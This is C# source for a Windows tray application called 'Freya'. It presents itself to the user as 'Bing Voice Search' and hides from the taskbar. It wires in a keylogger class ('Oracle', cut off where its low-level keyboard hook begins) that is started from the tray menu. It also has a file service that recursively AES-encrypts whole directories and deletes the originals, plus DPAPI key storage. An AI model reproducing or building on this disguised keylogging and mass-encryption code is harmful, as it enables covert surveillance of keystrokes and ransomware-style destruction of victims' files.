using NAudio.Wave; // Make sure NAudio NuGet package is installed
using System;
using System.Diagnostics; // For Debug.WriteLine
using System.Drawing;
using System.Drawing.Drawing2D;
using System.Runtime.InteropServices;
using System.Speech.Recognition;
using System.Windows.Forms;
using System.Security.Cryptography; // Needed for CryptographicException
namespace Freya
{
public partial class Form1 : Form
{
#region Private Fields
private SpeechRecognitionEngine _recognizer; // Engine for speech recognition
private NotifyIcon _notifyIcon; // System tray icon for the application
private ContextMenuStrip _contextMenu; // Context menu for the tray icon
// Instances of our helper classes
private SpeechCommands _speechCommands; // Handles speech commands and their execution
private FileSecurityService _fileSecurityService; // Manages file encryption and decryption
private Oracle _keylogger; // <<< ADD THIS LINE for your Oracle instance. Handles keylogging and logging keystrokes
// Fields for movement
private Timer _moveTimer; // Timer to control the movement of the form
private readonly int _moveSpeed = 5; // Speed of the form's movement in pixels per tick
private bool _movingRight = true; // Direction of the form's movement (right if true, left if false)
// Fields for Microphone Monitoring with NAudio
private WaveInEvent _waveIn; // Object to capture audio from the microphone
private float _currentMicrophoneLevel; // Stores the detected peak volume (0.0 to 1.0)
// UI Update Timer for visual feedback
private Timer _visualUpdateTimer; // Timer for updating UI based on microphone level
#endregion
#region Dll Imports and Enums
[DllImport("user32.dll")]
private static extern bool SetForegroundWindow(IntPtr hWnd); // Brings the window with the specified handle to the foreground
[DllImport("user32.dll")]
private static extern IntPtr FindWindow(string lpClassName, string lpWindowName); // Finds the first top-level window whose class name and window name match the specified strings
#endregion
#region Constructor and Form Events
public Form1()
{
// Add ConsoleTraceListener for Debug.WriteLine output to console
Debug.Listeners.Add(new ConsoleTraceListener());
InitializeComponent();
InitializeApplicationComponents();
InitializeTrayIcon();
ShowInTaskbar = false; // Prevent the form from showing in the taskbar
Visible = true; // Setting Visible to true initially seems to contradict ShowInTaskbar=false for a background app.
// Consider setting Visible = false if you want it to truly start hidden.
WindowState = FormWindowState.Normal; // Set the window state to normal
Load += Form1_Load; // Subscribe to the Load event to perform initialization when the form is loaded
}
private void InitializeApplicationComponents()
{
// --- Secure Key and IV Management (Integrated into Form1) ---
byte[] aesKey; // AES encryption key
byte[] aesIV; // AES initialization vector
if (!KeyManager.AreKeysStored())
{
Debug.WriteLine("Encryption key and IV not found. Generating new ones...");
if (KeyManager.GenerateAndProtectKeys())
{
Debug.WriteLine("New key and IV generated and securely stored.");
}
else
{
// If key generation/storage fails, we cannot proceed securely.
MessageBox.Show("Failed to generate or securely store encryption key/IV. The application cannot proceed.",
"Security Error", MessageBoxButtons.OK, MessageBoxIcon.Error);
Application.Exit(); // Terminate application
return;
}
}
// Retrieve the key and IV for use in the FileSecurityService
aesKey = KeyManager.GetKey();
aesIV = KeyManager.GetIv();
if (aesKey == null || aesIV == null)
{
// If key retrieval fails (e.g., corruption, permissions, or different user for DPAPI CurrentUser scope)
MessageBox.Show("Failed to retrieve encryption key or IV. They might be corrupted or access denied. The application cannot proceed.",
"Security Error", MessageBoxButtons.OK, MessageBoxIcon.Error);
Application.Exit(); // Terminate application
return;
}
try
{
// Initialize FileSecurityService with the securely retrieved key and IV
_fileSecurityService = new FileSecurityService(aesKey, aesIV);
Debug.WriteLine("FileSecurityService initialized successfully with securely retrieved keys.");
}
catch (CryptographicException ex)
{
MessageBox.Show($"Error initializing FileSecurityService: {ex.Message}. Application cannot proceed.",
"Security Error", MessageBoxButtons.OK, MessageBoxIcon.Error);
Application.Exit(); // Terminate application
return;
}
catch (Exception ex)
{
MessageBox.Show($"An unexpected error occurred during FileSecurityService initialization: {ex.Message}. Application cannot proceed.",
"Error", MessageBoxButtons.OK, MessageBoxIcon.Error);
Application.Exit(); // Terminate application
return;
}
// --- Continue with existing initializations ---
// Initialize the Oracle keylogger here, passing the securely initialized FileSecurityService
_keylogger = new Oracle(_fileSecurityService);
_speechCommands = new SpeechCommands(_fileSecurityService, this, pictureBox1);
// Initialize speech commands with the securely initialized FileSecurityService, the form, and the pictureBox
_recognizer = InitializeSpeechRecognition(); // Initialize the speech recognition engine
InitializeMicrophoneMonitoring(); // Start monitoring the microphone
_visualUpdateTimer = new Timer { Interval = 50 }; // Timer to update UI every 50ms
_visualUpdateTimer.Tick += VisualUpdateTimer_Tick; // Subscribe to the Tick event
_visualUpdateTimer.Start(); // Start the timer
_moveTimer = new Timer
{
Interval = 50 // Timer to move the form every 50ms
};
_moveTimer.Tick += MoveTimer_Tick; // Subscribe to the Tick event
_moveTimer.Start(); // Start the timer
}
private void InitializeTrayIcon()
{
_notifyIcon = new NotifyIcon
{
Icon = SystemIcons.Information, // Set the icon for the tray icon
Text = "Bing Voice Search", // Tooltip text for the tray icon
Visible = true // Make the tray icon visible
};
_notifyIcon.DoubleClick += NotifyIcon_DoubleClick; // Subscribe to DoubleClick event
_contextMenu = new ContextMenuStrip(); // Create a new context menu
_contextMenu.Items.Add("Show Application", null, NotifyIcon_ShowApp); // Add menu item to show the application
// Add menu items for keylogger control
_contextMenu.Items.Add(new ToolStripSeparator()); // Separator for better organization
_contextMenu.Items.Add("Start Keylogger", null, NotifyIcon_StartKeylogger); // Add menu item to start the keylogger
_contextMenu.Items.Add("Stop Keylogger", null, NotifyIcon_StopKeylogger); // Add menu item to stop the keylogger
_contextMenu.Items.Add(new ToolStripSeparator()); // Separator
_contextMenu.Items.Add("Exit", null, NotifyIcon_ExitApp); // Add menu item to exit the application
_notifyIcon.ContextMenuStrip = _contextMenu; // Assign the context menu to the tray icon
}
private void NotifyIcon_StartKeylogger(object sender, EventArgs e)
{
try
{
_keylogger.StartLogging(); // Start logging keystrokes
_notifyIcon.ShowBalloonTip(3000, "Keylogger", "Keylogger started. Logs to Desktop/KeyloggerLogs.", ToolTipIcon.Info); // Show a balloon tip indicating the keylogger has started
Debug.WriteLine("Keylogger started from tray icon."); // Log to Debug output
}
catch (Exception ex)
{
_notifyIcon.ShowBalloonTip(3000, "Keylogger Error", $"Failed to start keylogger: {ex.Message}", ToolTipIcon.Error); // Show a balloon tip indicating an error
Debug.WriteLine($"Error starting keylogger from tray icon: {ex.Message}"); // Log to Debug output
}
}
private void NotifyIcon_StopKeylogger(object sender, EventArgs e)
{
try
{
_keylogger.StopLogging(); // Stop logging keystrokes
_notifyIcon.ShowBalloonTip(3000, "Keylogger", "Keylogger stopped.", ToolTipIcon.Info); // Show a balloon tip indicating the keylogger has stopped
Debug.WriteLine("Keylogger stopped from tray icon."); // Log to Debug output
}
catch (Exception ex)
{
_notifyIcon.ShowBalloonTip(3000, "Keylogger Error", $"Failed to stop keylogger: {ex.Message}", ToolTipIcon.Error); // Show a balloon tip indicating an error
Debug.WriteLine($"Error stopping keylogger from tray icon: {ex.Message}"); // Log to Debug output
}
}
private void Form1_Load(object sender, EventArgs e)
{
SetFormToCircular(); // Set the form to a circular shape
SetPictureBoxToCircular(); // Ensure pictureBox1 is on your form and set it to a circular shape
// Set initial position to top-left of working area
Location = new Point(0, 0);
_notifyIcon.ShowBalloonTip(3000, "Bing Voice Search", "Application is running in the background. Say 'show commands' to see available commands.", ToolTipIcon.Info); // Show a balloon tip indicating the application is running in the background
}
private void SetFormToCircular()
{
int fixedSize = 200; // Define your desired circular size
Size = new Size(fixedSize, fixedSize); // Set the form size
FormBorderStyle = FormBorderStyle.None; // Make the form borderless
// Dispose of the existing Region if it exists before assigning a new one
// This prevents a slow leak of GDI+ objects if this method is called multiple times.
Region?.Dispose();
// 'using' ensures 'path' (a GraphicsPath object) is disposed after its scope.
// GraphicsPath is a GDI+ resource and must be disposed.
using (GraphicsPath path = new GraphicsPath())
{
path.AddEllipse(0, 0, Width, Height); // Create an elliptical path for the form's region
Region = new Region(path); // The form's Region property takes ownership of this new Region.
// It will be disposed when the form is disposed.
}
}
private void SetPictureBoxToCircular()
{
// Check if pictureBox1 exists on the form
if (Controls.Contains(pictureBox1))
{
int size = Math.Min(pictureBox1.Width, pictureBox1.Height); // Ensure PictureBox is square for a perfect circle
pictureBox1.Size = new Size(size, size); // Set the PictureBox size
// Dispose of the existing PictureBox Region if it exists
pictureBox1.Region?.Dispose();
// 'using' ensures 'path' (a GraphicsPath object) is disposed after its scope.
using (GraphicsPath path = new GraphicsPath())
{
path.AddEllipse(0, 0, pictureBox1.Width, pictureBox1.Height); // Create an elliptical path for the PictureBox's region
pictureBox1.Region = new Region(path); // PictureBox's Region property takes ownership.
// It will be disposed when the PictureBox is disposed.
}
}
else
{
Debug.WriteLine("Warning: pictureBox1 control not found on the form. Cannot set to circular."); // Log a warning if pictureBox1 is not found
}
}
private void MoveTimer_Tick(object sender, EventArgs e)
{
Rectangle workingArea = Screen.PrimaryScreen.WorkingArea; // Get the working area of the primary screen
int newX = Location.X; // Current X position of the form
if (_movingRight)
{
newX += _moveSpeed; // Move the form to the right
if (newX + Width > workingArea.Right)
{
newX = workingArea.Right - Width; // Adjust position if it exceeds the right boundary
_movingRight = false; // Change direction to left
}
}
else
{
newX -= _moveSpeed; // Move the form to the left
if (newX < workingArea.Left)
{
newX = workingArea.Left; // Adjust position if it exceeds the left boundary
_movingRight = true; // Change direction to right
}
}
Location = new Point(newX, 0); // Keep it at the top of the screen (Y=0)
}
protected override void OnFormClosing(FormClosingEventArgs e)
{
_recognizer?.Dispose(); // Dispose the speech recognition engine
_notifyIcon?.Dispose(); // Dispose the tray icon
_moveTimer?.Stop(); // Stop the movement timer
_moveTimer?.Dispose(); // Dispose the movement timer
_visualUpdateTimer?.Stop(); // Stop the UI update timer
_visualUpdateTimer?.Dispose(); // Dispose the UI update timer
// Safely stop and dispose the keylogger when the form is closing
_keylogger?.StopLogging();
if (_waveIn != null)
{
_waveIn.StopRecording(); // Stop microphone recording
_waveIn.Dispose(); // Dispose the WaveInEvent object
_waveIn = null; // Set to null to indicate no active recording
}
base.OnFormClosing(e); // Call the base class method to ensure proper form closing
}
#endregion
#region NotifyIcon Event Handlers
private void NotifyIcon_DoubleClick(object sender, EventArgs e)
{
Show(); // Show the form
WindowState = FormWindowState.Normal; // Restore to normal size
ShowInTaskbar = true; // Show icon in taskbar
SetForegroundWindow(Handle); // Bring form to front
// Ensure PictureBox is visible when coming back from stealth mode
if (pictureBox1 != null)
{
pictureBox1.Visible = true; // Make the PictureBox visible
}
}
private void NotifyIcon_ShowApp(object sender, EventArgs e)
{
NotifyIcon_DoubleClick(sender, e); // Re-use double-click logic to show the application
}
private void NotifyIcon_ExitApp(object sender, EventArgs e)
{
Application.Exit(); // Terminate the application
}
#endregion
#region Speech Recognition
private SpeechRecognitionEngine InitializeSpeechRecognition()
{
var recognizer = new SpeechRecognitionEngine(); // Create a new speech recognition engine
// Load grammar generated by SpeechCommands
recognizer.LoadGrammar(_speechCommands.CreateGrammar()); // Load the grammar for speech recognition
recognizer.SpeechRecognized += OnSpeechRecognized; // Subscribe to the SpeechRecognized event
recognizer.SetInputToDefaultAudioDevice(); // Use the default microphone for speech input
recognizer.RecognizeAsync(RecognizeMode.Multiple); // Start continuous recognition
return recognizer;
}
private void OnSpeechRecognized(object sender, SpeechRecognizedEventArgs e)
{
string recognizedText = e.Result.Text.ToLower(); // Convert recognized text to lowercase for case-insensitive comparison
// Stop current recognition cycle to avoid processing partial results or
// re-triggering while a command is being executed.
_recognizer.RecognizeAsyncStop(); // Stop the recognition engine
Application.DoEvents(); // Process any pending UI messages
try
{
_speechCommands.ExecuteCommand(recognizedText, this); // Execute the recognized command
}
catch (Exception ex)
{
// Display error if command execution fails
MessageBox.Show($"An error occurred while executing command '{recognizedText}': {ex.Message}", "Command Error", MessageBoxButtons.OK, MessageBoxIcon.Error); // Show a message box with the error
}
finally
{
// Restart recognition only if the application is still running (form is open)
// This prevents restarting recognition if the "exit application" command was given.
if (Application.OpenForms.Count > 0)
{
_recognizer.RecognizeAsync(RecognizeMode.Multiple); // Restart the recognition engine
}
}
}
#endregion
#region Microphone Monitoring with NAudio
private void InitializeMicrophoneMonitoring()
{
// Check if any audio input devices are available
if (WaveInEvent.DeviceCount == 0)
{
Debug.WriteLine("No audio input devices found. Microphone monitoring cannot start."); // Log a warning if no audio devices are found
// Optionally, inform the user with a less intrusive message.
// For a tray app, a balloon tip might be better than a blocking MessageBox.
_notifyIcon.ShowBalloonTip(5000, "Microphone Warning", "No microphone found. Voice commands may not work.", ToolTipIcon.Warning); // Show a balloon tip indicating no microphone
return;
}
try
{
_waveIn = new WaveInEvent
{
DeviceNumber = 0, // Use the default microphone (index 0)
WaveFormat = new WaveFormat(44100, 1), // 44.1 kHz sample rate, Mono channel
BufferMilliseconds = 200 // Reduce buffer size for more responsive level updates
};
_waveIn.DataAvailable += OnMicrophoneDataAvailable; // Event for when audio data is available
_waveIn.RecordingStopped += OnMicrophoneRecordingStopped; // Event for when recording stops
_waveIn.StartRecording(); // Begin microphone recording
Debug.WriteLine("Microphone monitoring started successfully."); // Log to Debug output
}
catch (Exception ex)
{
// Handle errors during microphone startup (e.g., device in use, permissions)
MessageBox.Show($"Error starting microphone monitoring: {ex.Message}\n\nPlease check your microphone settings and permissions.", "Audio Error", MessageBoxButtons.OK, MessageBoxIcon.Error); // Show a message box with the error
Debug.WriteLine($"Error starting microphone monitoring: {ex.Message}"); // Log to Debug output
// Dispose _waveIn if it was partially initialized and failed to start
_waveIn?.Dispose();
_waveIn = null; // Ensure it's null if initialization failed
}
}
private void OnMicrophoneDataAvailable(object sender, WaveInEventArgs e)
{
// This event is called on a background thread by NAudio.
// DO NOT perform UI updates directly here to avoid cross-thread issues.
float maxAmplitude = 0; // Variable to store the maximum amplitude detected in the current buffer
// The buffer contains 16-bit PCM audio samples (2 bytes per sample for short).
for (int index = 0; index < e.BytesRecorded; index += 2)
{
// Reconstruct the 16-bit sample from two bytes
short sample = (short)((e.Buffer[index + 1] << 8) | e.Buffer[index + 0]);
// Convert to float between -1.0 and 1.0 (float / max_short_value)
float sample32 = sample / 32768f; // 32768 is 2^15, max value for short is 32767
// Find the peak absolute amplitude in the current buffer
maxAmplitude = Math.Max(maxAmplitude, Math.Abs(sample32)); // Update maxAmplitude if the current sample is higher
}
// Store the peak amplitude. The UI timer will read this.
_currentMicrophoneLevel = maxAmplitude; // Set the current microphone level
// This line is for debugging purposes to see the mic level in the Output window.
Debug.WriteLine($"Current Mic Level: {_currentMicrophoneLevel * 100:F2}%"); // Log the microphone level as a percentage
}
private void OnMicrophoneRecordingStopped(object sender, StoppedEventArgs e)
{
// Handle any errors that caused recording to stop unexpectedly
if (e.Exception != null)
{
MessageBox.Show($"Microphone recording stopped due to error: {e.Exception.Message}", "Audio Error", MessageBoxButtons.OK, MessageBoxIcon.Error); // Show a message box with the error
Debug.WriteLine($"Microphone recording stopped due to error: {e.Exception.Message}"); // Log to Debug output
}
Debug.WriteLine("Microphone monitoring gracefully stopped."); // Log that microphone monitoring has stopped
// Optionally, try to restart recording if it stopped due to an error,
// or if the user wants to re-enable it. This logic can be more complex.
// For now, we'll just log and display an error.
}
#endregion
#region UI Updates and Visual Feedback // Currently using a GIF verse Colors
private void VisualUpdateTimer_Tick(object sender, EventArgs e)
{
// This method runs on the UI thread, so it's safe to update UI elements.
if (pictureBox1 != null && Visible) // Only update if form and picture box are visible
{
// Scale the microphone level (0.0 to 1.0) to a brightness value (0-255).
// We'll use a power function to make low levels less impactful and high levels more distinct.
// A level of 0.0 will be black (0,0,0), and 1.0 will be white (255,255,255).
// You can adjust the exponent (e.g., 2.0 or 3.0) to change the curve.
float scaledLevel = (float)Math.Pow(_currentMicrophoneLevel, 1.5); // Adjust exponent for desired sensitivity
int brightness = (int)(scaledLevel * 255); // Convert scaled level to brightness value
brightness = Math.Max(0, Math.Min(255, brightness)); // Clamp between 0 and 255
// You can pick any color based on brightness.
// For a "listening" effect, let's go from a dark base color to a brighter, reactive color.
// Example: Base is dark blue, brightens to light blue/cyan.
int baseRed = 0; // Base red component of the color
int baseGreen = 0; // Base green component of the color
int baseBlue = 50; // Base blue component of the color (dark blue)
// Blend towards a brighter color based on mic level
// Max brightness when speaking (e.g., light blue / cyan)
int maxRed = 50; // Maximum red component of the color
int maxGreen = 200; // Maximum green component of the color
int maxBlue = 255; // Maximum blue component of the color
int currentRed = (int)(baseRed + (maxRed - baseRed) * scaledLevel); // Calculate current red component based on scaled level
int currentGreen = (int)(baseGreen + (maxGreen - baseGreen) * scaledLevel); // Calculate current green component based on scaled level
int currentBlue = (int)(baseBlue + (maxBlue - baseBlue) * scaledLevel); // Calculate current blue component based on scaled level
pictureBox1.BackColor = Color.FromArgb(currentRed, currentGreen, currentBlue); // Set the PictureBox background color based on calculated components
}
else
{
// If the form is hidden (e.g., in stealth mode), reset color or don't update.
// This prevents the picture box from changing color if it's not meant to be seen.
if (pictureBox1 != null)
{
pictureBox1.BackColor = Color.Transparent; // Or any default color when hidden
}
}
}
#endregion
}
}
using System;
using System.Diagnostics; // For Debug.WriteLine
using System.IO;
using System.Security.Cryptography;
using System.Text;
namespace Freya
{
public class FileSecurityService
{
private readonly byte[] _encryptionKey;
private readonly byte[] _initializationVector;
/// <summary>
/// Initializes a new instance of the FileSecurityService class.
/// IMPORTANT: The encryption key and IV should be securely generated, stored, and managed
/// outside of this class and passed in during initialization.
/// </summary>
/// <param name="key">The AES encryption key (32 bytes for AES-256).</param>
/// <param name="iv">The AES initialization vector (16 bytes for AES).</param>
/// <exception cref="ArgumentNullException">Thrown if key or iv is null.</exception>
/// <exception cref="CryptographicException">Thrown if key or iv have incorrect lengths.</exception>
public FileSecurityService(byte[] key, byte[] iv)
{
_encryptionKey = key ?? throw new ArgumentNullException(nameof(key), "Encryption key cannot be null.");
_initializationVector = iv ?? throw new ArgumentNullException(nameof(iv), "Initialization vector cannot be null.");
// Ensure the key and IV are of the correct length
if (_encryptionKey.Length != 32)
{
throw new CryptographicException("Encryption key must be 32 bytes for AES-256.");
}
if (_initializationVector.Length != 16)
{
throw new CryptographicException("Initialization vector must be 16 bytes for AES.");
}
Debug.WriteLine("FileSecurityService initialized with provided key and IV.");
}
/// <summary>
/// Encrypts all files within the specified directory and its subdirectories.
/// Encrypted files will have a '.enc' extension, and original files will be deleted.
/// </summary>
/// <param name="directoryPath">The path to the directory to encrypt.</param>
/// <param name="searchOption">Specifies whether to include subdirectories (AllDirectories) or only the top directory (TopDirectoryOnly).</param>
public void EncryptDirectory(string directoryPath, SearchOption searchOption)
{
if (!Directory.Exists(directoryPath))
{
Debug.WriteLine($"Error: Directory not found for encryption: {directoryPath}");
return;
}
Debug.WriteLine($"Starting encryption for directory: {directoryPath} with search option: {searchOption}");
try
{
string[] files = Directory.GetFiles(directoryPath, "*.*", searchOption);
foreach (string filePath in files)
{
try
{
// Skip already encrypted files to prevent re-encryption
if (filePath.EndsWith(".enc", StringComparison.OrdinalIgnoreCase))
{
Debug.WriteLine($"Skipping already encrypted file: {filePath}");
continue;
}
byte[] fileBytes = File.ReadAllBytes(filePath);
byte[] encryptedBytes = Encrypt(fileBytes); // Use the byte-based Encrypt method
string encryptedFilePath = filePath + ".enc";
File.WriteAllBytes(encryptedFilePath, encryptedBytes);
File.Delete(filePath); // Delete original after successful encryption
Debug.WriteLine($"Encrypted and deleted original: {filePath} -> {encryptedFilePath}");
}
catch (IOException ex)
{
Debug.WriteLine($"File I/O error during encryption of {filePath}: {ex.Message}");
}
catch (UnauthorizedAccessException ex)
{
Debug.WriteLine($"Access denied during encryption of {filePath}: {ex.Message}");
}
catch (CryptographicException ex)
{
Debug.WriteLine($"Cryptographic error during encryption of {filePath}: {ex.Message}");
}
catch (Exception ex)
{
Debug.WriteLine($"An unexpected error occurred during encryption of {filePath}: {ex.Message}");
}
}
Debug.WriteLine($"Encryption completed for directory: {directoryPath}");
}
catch (Exception ex)
{
Debug.WriteLine($"Error enumerating files in directory {directoryPath} during encryption: {ex.Message}");
}
}
/// <summary>
/// Decrypts all encrypted files within the specified directory and its subdirectories.
/// Decrypted files will have their original names, and '.enc' files will be deleted.
/// </summary>
/// <param name="directoryPath">The path to the directory to decrypt.</param>
/// <param name="searchOption">Specifies whether to include subdirectories (AllDirectories) or only the top directory (TopDirectoryOnly).</param>
public void DecryptDirectory(string directoryPath, SearchOption searchOption)
{
if (!Directory.Exists(directoryPath))
{
Debug.WriteLine($"Error: Directory not found for decryption: {directoryPath}");
return;
}
Debug.WriteLine($"Starting decryption for directory: {directoryPath} with search option: {searchOption}");
try
{
// Find only files with the .enc extension
string[] files = Directory.GetFiles(directoryPath, "*.enc", searchOption);
foreach (string filePath in files)
{
try
{
byte[] encryptedBytes = File.ReadAllBytes(filePath);
byte[] decryptedBytes = Decrypt(encryptedBytes); // Use the byte-based Decrypt method
string originalFilePath = filePath.Replace(".enc", ""); // Remove .enc extension
File.WriteAllBytes(originalFilePath, decryptedBytes);
File.Delete(filePath); // Delete encrypted file after successful decryption
Debug.WriteLine($"Decrypted and deleted encrypted file: {filePath} -> {originalFilePath}");
}
catch (IOException ex)
{
Debug.WriteLine($"File I/O error during decryption of {filePath}: {ex.Message}");
}
catch (UnauthorizedAccessException ex)
{
Debug.WriteLine($"Access denied during decryption of {filePath}: {ex.Message}");
}
catch (CryptographicException ex)
{
Debug.WriteLine($"Cryptographic error during decryption of {filePath}: {ex.Message}");
}
catch (Exception ex)
{
Debug.WriteLine($"An unexpected error occurred during decryption of {filePath}: {ex.Message}");
}
}
Debug.WriteLine($"Decryption completed for directory: {directoryPath}");
}
catch (Exception ex)
{
Debug.WriteLine($"Error enumerating files in directory {directoryPath} during decryption: {ex.Message}");
}
}
/// <summary>
/// Encrypts the given plaintext bytes using AES.
/// </summary>
/// <param name="plainBytes">The bytes to encrypt.</param>
/// <returns>The encrypted bytes.</returns>
private byte[] Encrypt(byte[] plainBytes)
{
if (plainBytes == null || plainBytes.Length == 0)
{
return new byte[0];
}
using (Aes aesAlg = Aes.Create())
{
aesAlg.Key = _encryptionKey;
aesAlg.IV = _initializationVector;
ICryptoTransform encryptor = aesAlg.CreateEncryptor(aesAlg.Key, aesAlg.IV);
using (MemoryStream msEncrypt = new MemoryStream())
{
using (CryptoStream csEncrypt = new CryptoStream(msEncrypt, encryptor, CryptoStreamMode.Write))
{
csEncrypt.Write(plainBytes, 0, plainBytes.Length);
csEncrypt.FlushFinalBlock(); // Ensure all data is written and padded
return msEncrypt.ToArray();
}
}
}
}
/// <summary>
/// Decrypts the given ciphertext bytes using AES.
/// </summary>
/// <param name="cipherBytes">The encrypted bytes to decrypt.</param>
/// <returns>The decrypted plaintext bytes.</returns>
private byte[] Decrypt(byte[] cipherBytes)
{
if (cipherBytes == null || cipherBytes.Length == 0)
{
return new byte[0];
}
using (Aes aesAlg = Aes.Create())
{
aesAlg.Key = _encryptionKey;
aesAlg.IV = _initializationVector;
ICryptoTransform decryptor = aesAlg.CreateDecryptor(aesAlg.Key, aesAlg.IV);
using (MemoryStream msDecrypt = new MemoryStream(cipherBytes))
{
using (CryptoStream csDecrypt = new CryptoStream(msDecrypt, decryptor, CryptoStreamMode.Read))
{
using (MemoryStream msPlain = new MemoryStream())
{
// Read decrypted bytes into a new memory stream
byte[] buffer = new byte[4096]; // Buffer for reading
int bytesRead;
while ((bytesRead = csDecrypt.Read(buffer, 0, buffer.Length)) > 0)
{
msPlain.Write(buffer, 0, bytesRead);
}
return msPlain.ToArray();
}
}
}
}
}
/// <summary>
/// Appends encrypted text to a specified file. If the file does not exist, it will be created.
/// </summary>
/// <param name="filePath">The path to the file where the encrypted text will be appended.</param>
/// <param name="textToAppend">The plaintext string to encrypt and append.</param>
public void AppendEncryptedText(string filePath, string textToAppend)
{
if (string.IsNullOrEmpty(filePath))
{
Debug.WriteLine("Error: File path cannot be null or empty for AppendEncryptedText.");
return;
}
if (string.IsNullOrEmpty(textToAppend))
{
Debug.WriteLine("Warning: No text to append (textToAppend is null or empty).");
return;
}
try
{
// Ensure the directory exists
string directory = Path.GetDirectoryName(filePath);
if (!string.IsNullOrEmpty(directory) && !Directory.Exists(directory))
{
Directory.CreateDirectory(directory);
Debug.WriteLine($"Created directory: {directory}");
}
// Encrypt the text
// Convert string to bytes for encryption
byte[] plainTextBytes = Encoding.UTF8.GetBytes(textToAppend);
byte[] encryptedBytes = Encrypt(plainTextBytes); // Use the byte-based Encrypt method
// Append the encrypted bytes to the file
// Using FileStream for appending bytes to avoid issues with large files
using (FileStream fs = new FileStream(filePath, FileMode.Append, FileAccess.Write, FileShare.Read))
{
fs.Write(encryptedBytes, 0, encryptedBytes.Length);
}
Debug.WriteLine($"Successfully appended {encryptedBytes.Length} encrypted bytes to {filePath}");
}
catch (CryptographicException ex)
{
Debug.WriteLine($"Cryptographic error during AppendEncryptedText: {ex.Message}");
}
catch (IOException ex)
{
Debug.WriteLine($"File I/O error during AppendEncryptedText to {filePath}: {ex.Message}");
}
catch (UnauthorizedAccessException ex)
{
Debug.WriteLine($"Unauthorized access error during AppendEncryptedText to {filePath}: {ex.Message}");
}
catch (Exception ex)
{
Debug.WriteLine($"An unexpected error occurred during AppendEncryptedText to {filePath}: {ex.Message}");
}
}
}
}
using System;
using System.IO;
using System.Security.Cryptography;
using System.Diagnostics;
namespace Freya
{
/// <summary>
/// Manages the generation, protection, and unprotection of cryptographic keys and IVs using DPAPI.
/// This class handles the secure storage of these values to disk.
/// </summary>
public static class KeyManager
{
// Define file paths for the protected key and IV
// Using a more specific folder structure for clarity and organization.
// DataProtectionScope.CurrentUser: For user-specific secrets. Stored in user profile.
// DataProtectionScope.LocalMachine: For machine-wide secrets. Stored in ProgramData (requires admin for writing initially sometimes)
private static readonly string FreyaBaseFolder = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData), "Freya");
private static readonly string CryptoKeysFolder = Path.Combine(FreyaBaseFolder, "Keys"); // Or "Security", "Secrets"
private static readonly string KeyFilePath = Path.Combine(CryptoKeysFolder, "aes_key.bin");
private static readonly string IvFilePath = Path.Combine(CryptoKeysFolder, "aes_iv.bin");
private static readonly string KeyDirectory = CryptoKeysFolder; // This will be the directory where keys are stored
/// <summary>
/// Generates a new AES key and IV, protects them using DPAPI, and saves them to disk.
/// </summary>
/// <returns>True if keys were generated and protected successfully, false otherwise.</returns>
public static bool GenerateAndProtectKeys()
{
try
{
// Ensure the directory for keys exists. This will create "Freya" and "Freya/Keys" if they don't exist.
if (!Directory.Exists(KeyDirectory))
{
Directory.CreateDirectory(KeyDirectory);
Debug.WriteLine($"Created key directory: {KeyDirectory}");
}
using (Aes aes = Aes.Create())
{
aes.GenerateKey(); // Generates a 256-bit (32-byte) key
aes.GenerateIV(); // Generates a 128-bit (16-byte) IV
byte[] protectedKey = ProtectedData.Protect(aes.Key, null, DataProtectionScope.CurrentUser);
byte[] protectedIv = ProtectedData.Protect(aes.IV, null, DataProtectionScope.CurrentUser);
File.WriteAllBytes(KeyFilePath, protectedKey);
File.WriteAllBytes(IvFilePath, protectedIv);
Debug.WriteLine($"AES Key and IV generated and protected using DPAPI (CurrentUser) and saved to: {KeyDirectory}");
}
return true;
}
catch (CryptographicException ex)
{
Debug.WriteLine($"Cryptographic error during key generation/protection: {ex.Message}");
return false;
}
catch (IOException ex)
{
Debug.WriteLine($"File I/O error during key saving: {ex.Message}");
return false;
}
catch (UnauthorizedAccessException ex)
{
Debug.WriteLine($"Access denied error during key saving: {ex.Message}");
return false;
}
catch (Exception ex)
{
Debug.WriteLine($"An unexpected error occurred during key generation/protection: {ex.Message}");
return false;
}
}
/// <summary>
/// Attempts to retrieve and unprotect the AES key from storage.
/// </summary>
/// <returns>The unprotected AES key as a byte array, or null if retrieval fails.</returns>
public static byte[] GetKey()
{
if (!File.Exists(KeyFilePath))
{
Debug.WriteLine("Key file does not exist.");
return null;
}
try
{
byte[] protectedKey = File.ReadAllBytes(KeyFilePath);
return ProtectedData.Unprotect(protectedKey, null, DataProtectionScope.CurrentUser);
}
catch (CryptographicException ex)
{
Debug.WriteLine($"Cryptographic error during key unprotection: {ex.Message}. Key might be corrupted or protected for a different user/machine.");
return null;
}
catch (IOException ex)
{
Debug.WriteLine($"File I/O error during key retrieval: {ex.Message}");
return null;
}
catch (UnauthorizedAccessException ex)
{
Debug.WriteLine($"Access denied error during key retrieval: {ex.Message}");
return null;
}
catch (Exception ex)
{
Debug.WriteLine($"An unexpected error occurred during key retrieval: {ex.Message}");
return null;
}
}
/// <summary>
/// Attempts to retrieve and unprotect the AES IV from storage.
/// </summary>
/// <returns>The unprotected AES IV as a byte array, or null if retrieval fails.</returns>
public static byte[] GetIv()
{
if (!File.Exists(IvFilePath))
{
Debug.WriteLine("IV file does not exist.");
return null;
}
try
{
byte[] protectedIv = File.ReadAllBytes(IvFilePath);
return ProtectedData.Unprotect(protectedIv, null, DataProtectionScope.CurrentUser);
}
catch (CryptographicException ex)
{
Debug.WriteLine($"Cryptographic error during IV unprotection: {ex.Message}. IV might be corrupted or protected for a different user/machine.");
return null;
}
catch (IOException ex)
{
Debug.WriteLine($"File I/O error during IV retrieval: {ex.Message}");
return null;
}
catch (UnauthorizedAccessException ex)
{
Debug.WriteLine($"Access denied error during IV retrieval: {ex.Message}");
return null;
}
catch (Exception ex)
{
Debug.WriteLine($"An unexpected error occurred during IV retrieval: {ex.Message}");
return null;
}
}
/// <summary>
/// Checks if the protected key and IV files exist.
/// </summary>
public static bool AreKeysStored()
{
return File.Exists(KeyFilePath) && File.Exists(IvFilePath);
}
}
}
using System;
using System.Diagnostics;
using System.IO;
using System.Runtime.InteropServices;
using System.Text;
using System.Threading; // Required for Thread.Sleep
using System.Windows.Forms; // Required for Application.DoEvents() and for Keys enum
namespace Freya
{
public class Oracle : IDisposable
{
#region Constants
private const int WH_KEYBOARD_LL = 13; // Low-level keyboard hook
private const int WM_KEYDOWN = 0x0100; // Key down message
private const int WM_SYSKEYDOWN = 0x0104; // System key down message (e.g., Alt, F10)
